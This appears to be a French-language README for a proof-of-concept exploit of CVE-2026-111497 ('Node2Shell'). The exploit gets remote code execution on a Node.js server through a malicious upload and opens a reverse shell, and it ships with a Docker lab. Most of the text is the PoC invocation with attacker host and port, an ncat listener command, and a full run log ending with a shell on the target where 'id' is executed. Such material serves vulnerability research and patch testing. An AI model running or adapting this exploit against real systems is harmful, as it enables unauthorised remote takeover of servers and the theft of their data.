eqstlab/cve-2026-111497Proof-of-concept d'exploitation pour CVE-2026-111497 (Node2Shell) qui déclenche une exécution de code à distance via un téléversement malveillant et établit un reverse shell, avec un laboratoire Docker.
Clonez le dépôt et construisez l'environnement Docker.
git clone https://github.com/EQSTLab/CVE-2026-111497.git
cd CVE-2026-111497
docker build -t cve-2026-111497 .
docker run -d --rm --name node2shell-lab -p 3000:3000 cve-2026-111497
Exécutez le PoC avec l'adresse cible et la configuration du listener.
python poc.py [TARGET] -lhost [ATTACKER_IP] -lport [ATTACKER_PORT]
Démarrez le listener pour recevoir la connexion du reverse shell.
ncat -lvnp 4444
$ python poc.py 127.0.0.1:3000 -lhost 192.168.102.87 -lport 4444
EQST Lab | CVE-2026-111497 Node2Shell
target 127.0.0.1:3000 /upload
listener 192.168.102.87:4444
profile node 24.22.0 linux/amd64, fd 19
note start a listener first: nc -lvnp 4444
0.0s stream 22.0 MiB brotli, rop at +0x397
6.6s round 1 no hit (6.5s)
23.2s round 2 no hit (6.5s)
40.8s round 3 no hit (6.6s)
50.5s round 4 no hit (0.5s)
66.0s round 5 no hit (0.6s)
84.5s round 6 no hit (0.6s)
103.2s round 7 no hit (0.5s)
127.4s round 8 no hit (6.5s)
137.9s round 9 no hit (0.6s)
161.1s round 10 no hit (6.5s)
170.6s round 11 no hit (0.6s)
192.6s round 12 no hit (6.6s)
207.2s round 13 no hit (6.6s)
224.1s round 14 no hit (6.6s)
234.6s round 15 no hit (0.6s)
259.8s round 16 no hit (6.6s)
270.8s round 17 no hit (0.6s)
288.9s round 18 decoder hijacked (0.5s)
288.9s dispatch reverse shell to 192.168.102.87:4444
result code execution on round 18 of 50
shell waiting on 192.168.102.87:4444
C:\Users\user\Desktop>ncat -lvnp 4444
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.102.87:33437.
bash: cannot set terminal process group (272): Inappropriate ioctl for device
bash: no job control in this shell
node@d40e35dfad8a:/app$ id
id
uid=1000(node) gid=1000(node) groups=1000(node)